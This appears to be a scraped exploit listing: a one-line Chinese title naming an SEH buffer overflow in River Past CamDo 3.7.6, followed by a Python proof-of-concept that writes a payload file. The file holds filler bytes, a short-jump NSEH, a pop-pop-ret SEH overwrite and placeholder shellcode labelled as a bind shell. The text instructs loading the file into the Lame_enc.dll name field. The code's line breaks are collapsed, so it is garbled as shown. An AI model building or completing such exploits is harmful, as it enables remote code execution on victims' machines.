CVE-2019-25650 River Past CamDo SEH缓冲区溢出漏洞

import sys import struct # CVE-2019-25650 PoC Generator for River Past CamDo 3.7.6 # This script generates a malicious string to trigger SEH overwrite. # Configuration offset = 280 # Buffer size to overwrite up to SEH ret_addr = 0x1001a05d # Example Pop-Pop-Ret address (needs specific target address) # NSEH instruction to jump short over the SEH handler (6 bytes) # \xeb = jump short, \x06 = distance, \x90 = nop nseh = b"\xeb\x06\x90\x90" # SEH Handler address pointing to Pop-Pop-Ret seh = struct.pack('<I', ret_addr) # Bind Shellcode listening on port 3110 (Metasploit generated example) # This is a placeholder for the actual shellcode bytes. shellcode = b"\xcc\xcc\xcc\xcc" # Padding to maintain structure stability padding = b"\x90" * 500 # Construct the payload payload = b"A" * offset + nseh + seh + shellcode + padding try: with open("camdo_exploit.txt", "wb") as f: f.write(payload) print("[+] Exploit file 'camdo_exploit.txt' generated successfully.") print("[+] Load this into the Lame_enc.dll name field.") except Exception as e: print(f"[-] Error generating file: {e}")